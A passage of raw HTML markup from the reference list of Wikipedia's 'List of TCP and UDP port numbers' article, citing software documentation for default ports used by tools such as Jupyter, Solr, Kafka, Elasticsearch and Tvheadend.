href=\"#cite_ref-ipython-doc-3-notebook-server_325-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFIvanov2015\" class=\"citation book cs1\">Ivanov, Paul;  et&#160;al. (2015-09-25). <a rel=\"nofollow\" class=\"external text\" href=\"https://ipython.org/ipython-doc/3/notebook/public_server.html\">\"Running a notebook server\"</a>.  In Baecker, Arnd (ed.). <a rel=\"nofollow\" class=\"external text\" href=\"https://ipython.org/ipython-doc/3/\"><i>IPython Documentation</i></a>. <i>IPython</i> (3.2.1&#160;ed.). <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20161025045314/https://ipython.org/ipython-doc/3/notebook/public_server.html\">Archived</a> from the original on 2016-10-25<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-25</span></span>. <q>...&#160;The IPython notebook web-application is based on a server-client structure.&#160;...&#160;By default, a notebook server runs on http://127.0.0.1:8888/ and is accessible only from <code>localhost</code>.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Running+a+notebook+server&amp;rft.btitle=IPython+Documentation&amp;rft.edition=3.2.1&amp;rft.date=2015-09-25&amp;rft.aulast=Ivanov&amp;rft.aufirst=Paul&amp;rft_id=https%3A%2F%2Fipython.org%2Fipython-doc%2F3%2Fnotebook%2Fpublic_server.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-jyputer-docs-running-notebook-326\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-jyputer-docs-running-notebook_326-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation book cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://jupyter.readthedocs.io/en/latest/running.html\">\"Running the Notebook\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"https://jupyter.readthedocs.io/en/latest/\"><i>Jupyter Documentation</i></a> (Latest&#160;ed.). n.d. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20161025050710/https://jupyter.readthedocs.io/en/latest/running.html\">Archived</a> from the original on 2016-10-25<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-25</span></span> &#8211; via Read the Docs. <q>...&#160;By default, the notebook server starts on port 8888. If port 8888 is unavailable or in use, the notebook server searches the next available port.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Running+the+Notebook&amp;rft.btitle=Jupyter+Documentation&amp;rft.edition=Latest&amp;rft_id=https%3A%2F%2Fjupyter.readthedocs.io%2Fen%2Flatest%2Frunning.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-osxdaily-mamp-327\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-osxdaily-mamp_327-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-osxdaily-mamp_327-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation news cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://osxdaily.com/2010/09/16/change-mamp-to-default-apache-and-mysql-ports/\">\"Change MAMP to Default Apache and MySQL ports\"</a>. <i>OS X Daily</i>. 2010-09-16<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2018-04-19</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=article&amp;rft.jtitle=OS+X+Daily&amp;rft.atitle=Change+MAMP+to+Default+Apache+and+MySQL+ports&amp;rft.date=2010-09-16&amp;rft_id=http%3A%2F%2Fosxdaily.com%2F2010%2F09%2F16%2Fchange-mamp-to-default-apache-and-mysql-ports%2F&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-apache-solr-6_6-running-solr-328\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-apache-solr-6_6-running-solr_328-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation book cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://lucene.apache.org/solr/guide/6_6/running-solr.html\">\"Running Solr\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"https://lucene.apache.org/solr/guide/6_6/\"><i>Apache Solr Reference Guide 6.6</i></a>. <a href=\"/wiki/Apache_Software_Foundation\" class=\"mw-redirect\" title=\"Apache Software Foundation\">Apache Software Foundation</a>. c. 2017. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20170630040615/https://lucene.apache.org/solr/guide/6_6/running-solr.html\">Archived</a> from the original on 2017-06-30<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2017-06-30</span></span>. <q>...&#160;If you didn't start Solr after installing it, you can start it by running <code>bin/solr</code> from the Solr directory.&#160;...&#160;This will start Solr in the background, listening on port 8983.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Running+Solr&amp;rft.btitle=Apache+Solr+Reference+Guide+6.6&amp;rft.pub=Apache+Software+Foundation&amp;rft_id=https%3A%2F%2Flucene.apache.org%2Fsolr%2Fguide%2F6_6%2Frunning-solr.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-329\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-329\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFGaudin\" class=\"citation web cs1\">Gaudin, Olivier. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20140512085743/http://docs.codehaus.org/display/SONAR/Installing\">\"SonarQube Installation Instructions\"</a>. codehaus.org. Archived from <a rel=\"nofollow\" class=\"external text\" href=\"http://docs.codehaus.org/display/SONAR/Installing#Installing-StartingtheWebServer\">the original</a> on May 12, 2014<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-05-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=SonarQube+Installation+Instructions&amp;rft.pub=codehaus.org&amp;rft.aulast=Gaudin&amp;rft.aufirst=Olivier&amp;rft_id=http%3A%2F%2Fdocs.codehaus.org%2Fdisplay%2FSONAR%2FInstalling%23Installing-StartingtheWebServer&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-playframeworkdocumentation-330\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-playframeworkdocumentation_330-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://www.playframework.com/documentation/2.2.0/Production\">\"Play2 Documentation\"</a>. Playframework.com<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-05-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Play2+Documentation&amp;rft.pub=Playframework.com&amp;rft_id=http%3A%2F%2Fwww.playframework.com%2Fdocumentation%2F2.2.0%2FProduction&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-331\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-331\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://github.com/qbittorrent/qBittorrent/wiki/How-to-use-qBittorrent-as-a-tracker\">\"How to use qBittorrent as a tracker\"</a>. <i><a href=\"/wiki/GitHub\" title=\"GitHub\">GitHub</a></i><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">27 June</span> 2015</span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=GitHub&amp;rft.atitle=How+to+use+qBittorrent+as+a+tracker&amp;rft_id=https%3A%2F%2Fgithub.com%2Fqbittorrent%2FqBittorrent%2Fwiki%2FHow-to-use-qBittorrent-as-a-tracker&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Identifying_reliable_sources#User-generated_content\" class=\"mw-redirect\" title=\"Wikipedia:Identifying reliable sources\"><span title=\"This reference citation appears to be to a user-generated source. (June 2017)\">user-generated source</span></a></i>&#93;</sup></span>\n</li>\n<li id=\"cite_note-332\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-332\">^</a></b></span> <span class=\"reference-text\"><a rel=\"nofollow\" class=\"external text\" href=\"http://etlelectronique.com/defaulten.aspx\">ETL Electronics</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20120104090617/http://etlelectronique.com/defaulten.aspx\">Archived</a> January 4, 2012, at the <a href=\"/wiki/Wayback_Machine\" title=\"Wayback Machine\">Wayback Machine</a></span>\n</li>\n<li id=\"cite_note-333\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-333\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://kafka.apache.org/documentation.html#brokerconfigs\">\"Kafka 0.11.0 Documentation\"</a>. Apache Kafka<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2017-09-01</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Kafka+0.11.0+Documentation&amp;rft.pub=Apache+Kafka&amp;rft_id=http%3A%2F%2Fkafka.apache.org%2Fdocumentation.html%23brokerconfigs&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-334\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-334\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://www.elastic.co/guide/en/elasticsearch/guide/current/_talking_to_elasticsearch.html#_restful_api_with_json_over_http\">\"RESTful API with JSON over HTTP\"</a>. Elasticsearch<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2015-04-04</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=RESTful+API+with+JSON+over+HTTP&amp;rft.pub=Elasticsearch&amp;rft_id=http%3A%2F%2Fwww.elastic.co%2Fguide%2Fen%2Felasticsearch%2Fguide%2Fcurrent%2F_talking_to_elasticsearch.html%23_restful_api_with_json_over_http&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-335\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-335\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://manuals.playstation.net/document/en/ps3/current/remoteplay/remoteinternet.html\">\"PS3™ &#124; Using remote play (via the Internet)\"</a>. Manuals.playstation.net. 2013-09-13<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2013-10-08</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=PS3%E2%84%A2+%26%23124%3B+Using+remote+play+%28via+the+Internet%29&amp;rft.pub=Manuals.playstation.net&amp;rft.date=2013-09-13&amp;rft_id=http%3A%2F%2Fmanuals.playstation.net%2Fdocument%2Fen%2Fps3%2Fcurrent%2Fremoteplay%2Fremoteinternet.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-336\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-336\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://manuals.playstation.net/document/en/psvita/cm/wifi_pc.html\">\"Transferring data using Wi-Fi &#124; PlayStation®Vita User's Guide\"</a>. Manuals.playstation.net<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2013-10-08</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Transferring+data+using+Wi-Fi+%26%23124%3B+PlayStation%C2%AEVita+User%27s+Guide&amp;rft.pub=Manuals.playstation.net&amp;rft_id=http%3A%2F%2Fmanuals.playstation.net%2Fdocument%2Fen%2Fpsvita%2Fcm%2Fwifi_pc.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-mfs-manual3.0-ports-337\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-mfs-manual3.0-ports_337-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-mfs-manual3.0-ports_337-1\"><sup><i><b>b</b></i></sup></a> <a href=\"#cite_ref-mfs-manual3.0-ports_337-2\"><sup><i><b>c</b></i></sup></a> <a href=\"#cite_ref-mfs-manual3.0-ports_337-3\"><sup><i><b>d</b></i></sup></a> <a href=\"#cite_ref-mfs-manual3.0-ports_337-4\"><sup><i><b>e</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFKonopelko2016\" class=\"citation book cs1\">Konopelko, Piotr Robert (2016-08-04).  Kruszona-Zawadzka, Agata (ed.). <a rel=\"nofollow\" class=\"external text\" href=\"https://moosefs.com/Content/Downloads/moosefs-3-0-users-manual.pdf\"><i>MooseFS 3.0 User's Manual</i></a> <span class=\"cs1-format\">(PDF)</span> (1.0.4&#160;ed.). pp.&#160;11, 19–23, 58, 62, 74–76. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20160830200130/https://moosefs.com/Content/Downloads/moosefs-3-0-users-manual.pdf\">Archived</a> <span class=\"cs1-format\">(PDF)</span> from the original on 2016-08-30<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-08-30</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=MooseFS+3.0+User%27s+Manual&amp;rft.pages=11%2C+19-23%2C+58%2C+62%2C+74-76&amp;rft.edition=1.0.4&amp;rft.date=2016-08-04&amp;rft.aulast=Konopelko&amp;rft.aufirst=Piotr+Robert&amp;rft_id=https%3A%2F%2Fmoosefs.com%2FContent%2FDownloads%2Fmoosefs-3-0-users-manual.pdf&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-338\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-338\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://github.com/lightningnetwork/lightning-rfc/blob/master/01-messaging.md\">\"BOLT #1: Base Protocol\"</a>. <i><a href=\"/wiki/GitHub\" title=\"GitHub\">GitHub</a></i><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">11 November</span> 2021</span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=GitHub&amp;rft.atitle=BOLT+%231%3A+Base+Protocol&amp;rft_id=https%3A%2F%2Fgithub.com%2Flightningnetwork%2Flightning-rfc%2Fblob%2Fmaster%2F01-messaging.md&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-339\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-339\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20130923234722/http://nvd.nist.gov/validation_tripwire_enterprise_docs.html\">\"Tripwire Enterprise 8\"</a>. Nvd.nist.gov. Archived from <a rel=\"nofollow\" class=\"external text\" href=\"http://nvd.nist.gov/validation_tripwire_enterprise_docs.html\">the original</a> on September 23, 2013<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2013-10-08</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Tripwire+Enterprise+8&amp;rft.pub=Nvd.nist.gov&amp;rft_id=http%3A%2F%2Fnvd.nist.gov%2Fvalidation_tripwire_enterprise_docs.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-tvh-wiki-install-initial-setup-340\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-tvh-wiki-install-initial-setup_340-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-tvh-wiki-install-initial-setup_340-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFBergkvist2012\" class=\"citation encyclopaedia cs1\">Bergkvist, Christoffer (2012-08-02). <a rel=\"nofollow\" class=\"external text\" href=\"https://tvheadend.org/projects/tvheadend/wiki/Install_and_initial_setup\">\"Install and initial setup\"</a>. <i>Tvheadend</i>. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20160927174027/https://tvheadend.org/projects/tvheadend/wiki/Install_and_initial_setup\">Archived</a> from the original on 2016-09-27<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-09-27</span></span>. <q>...&#160;Tvheadend listens to the following TCP ports by default: <div><ul><li>9981 - HTTP server (web interface)</li><li>9982 - HTSP server (Streaming protocol)</li></ul></div>...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Install+and+initial+setup&amp;rft.btitle=Tvheadend&amp;rft.date=2012-08-02&amp;rft.aulast=Bergkvist&amp;rft.aufirst=Christoffer&amp;rft_id=https%3A%2F%2Ftvheadend.org%2Fprojects%2Ftvheadend%2Fwiki%2FInstall_and_initial_setup&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Identifying_reliable_sources#User-generated_content\" class=\"mw-redirect\" title=\"Wikipedia:Identifying reliable sources\"><span title=\"This reference citation appears to be to a user-generated source. (June 2017)\">user-generated source</span></a></i>&#93;</sup></span>\n</li>\n<li id=\"cite_note-hub.docker.com-341\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-hub.docker.com_341-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-hub.docker.com_341-1\"><sup><i><b>b</b></i></sup></a> <a href=\"#cite_ref-hub.docker.com_341-2\"><sup><i><b>c</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://hub.docker.com/_/teamspeak/\">\"Documentation for Teamspeak Docker container\"</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2020-07-26</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Documentation+for+Teamspeak+Docker+container&amp;rft_id=https%3A%2F%2Fhub.docker.com%2F_%2Fteamspeak%2F&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-342\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-342\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFWorldwide\" class=\"citation web cs1\">Worldwide. <a rel=\"nofollow\" class=\"external text\" href=\"https://github.com/dashpay/dash/blob/master/src/chainparams.cpp#L376\">\"Github\"</a>. github.com<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2020-12-30</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Github&amp;rft.pub=github.com&amp;rft.au=Worldwide&amp;rft_id=https%3A%2F%2Fgithub.com%2Fdashpay%2Fdash%2Fblob%2Fmaster%2Fsrc%2Fchainparams.cpp%23L376&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-support.vonage.com-343\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-support.vonage.com_343-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-support.vonage.com_343-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://support.vonage.com/app/articles/answer/Port-Forwarding-690\">\"Port Forwarding\"</a>. <i><a href=\"/wiki/Vonage\" title=\"Vonage\">Vonage</a></i> (published 2016-12-16). n.d<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2017-12-13</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Vonage&amp;rft.atitle=Port+Forwarding&amp;rft.chron=n.d.&amp;rft_id=https%3A%2F%2Fsupport.vonage.com%2Fapp%2Farticles%2Fanswer%2FPort-Forwarding-690&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-344\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-344\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFSchubotzWicke2014\" class=\"citation journal cs1\">Schubotz, Moritz; Wicke, Gabriel (2014).  Watt, Stephen M.; Davenport, James H.; Sexton, Alan P.; Sojka, Petr; Urban, Josef (eds.). <a rel=\"nofollow\" class=\"external text\" href=\"https://link.springer.com/chapter/10.1007%2F978-3-319-08434-3_17\">\"Mathoid: Robust, Scalable, Fast and Accessible Math Rendering for Wikipedia\"</a>. <i>Intelligent Computer Mathematics</i>. Lecture Notes in Computer Science. Cham: Springer International Publishing. <b>8543</b>: 224–235. <a href=\"/wiki/ArXiv_(identifier)\" class=\"mw-redirect\" title=\"ArXiv (identifier)\">arXiv</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"//arxiv.org/abs/1404.6179\">1404.6179</a></span>. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.1007%2F978-3-319-08434-3_17\">10.1007/978-3-319-08434-3_17</a>. <a href=\"/wiki/ISBN_(identifier)\" class=\"mw-redirect\" title=\"ISBN (identifier)\">ISBN</a>&#160;<a href=\"/wiki/Special:BookSources/978-3-319-08434-3\" title=\"Special:BookSources/978-3-319-08434-3\"><bdi>978-3-319-08434-3</bdi></a>. <a href=\"/wiki/S2CID_(identifier)\" class=\"mw-redirect\" title=\"S2CID (identifier)\">S2CID</a>&#160;<a rel=\"nofollow\" class=\"external text\" href=\"https://api.semanticscholar.org/CorpusID:16123116\">16123116</a>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=article&amp;rft.jtitle=Intelligent+Computer+Mathematics&amp;rft.atitle=Mathoid%3A+Robust%2C+Scalable%2C+Fast+and+Accessible+Math+Rendering+for+Wikipedia&amp;rft.volume=8543&amp;rft.pages=224-235&amp;rft.date=2014&amp;rft_id=info%3Aarxiv%2F1404.6179&amp;rft_id=https%3A%2F%2Fapi.semanticscholar.org%2FCorpusID%3A16123116%23id-name%3DS2CID&amp;rft_id=info%3Adoi%2F10.1007%2F978-3-319-08434-3_17&amp;rft.isbn=978-3-319-08434-3&amp;rft.aulast=Schubotz&amp;rft.aufirst=Moritz&amp;rft.au=Wicke%2C+Gabriel&amp;rft_id=https%3A%2F%2Flink.springer.com%2Fchapter%2F10.1007%252F978-3-319-08434-3_17&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-345\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-345\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://www.f-prot.com/support/unix/unix_manpages/fpscand.8.html\">\"Manual pages - F-PROT Antivirus Support - Unix\"</a>. F-prot.com<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-05-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Manual+pages+-+F-PROT+Antivirus+Support+-+Unix&amp;rft.pub=F-prot.com&amp;rft_id=http%3A%2F%2Fwww.f-prot.com%2Fsupport%2Funix%2Funix_manpages%2Ffpscand.8.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-autogenerated2-346\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-autogenerated2_346-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-autogenerated2_346-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://www.f-prot.com/support/unix/unix_manpages/f-protd.8.html\">\"Manual pages - F-PROT Antivirus Support - Unix\"</a>. F-prot.com<span 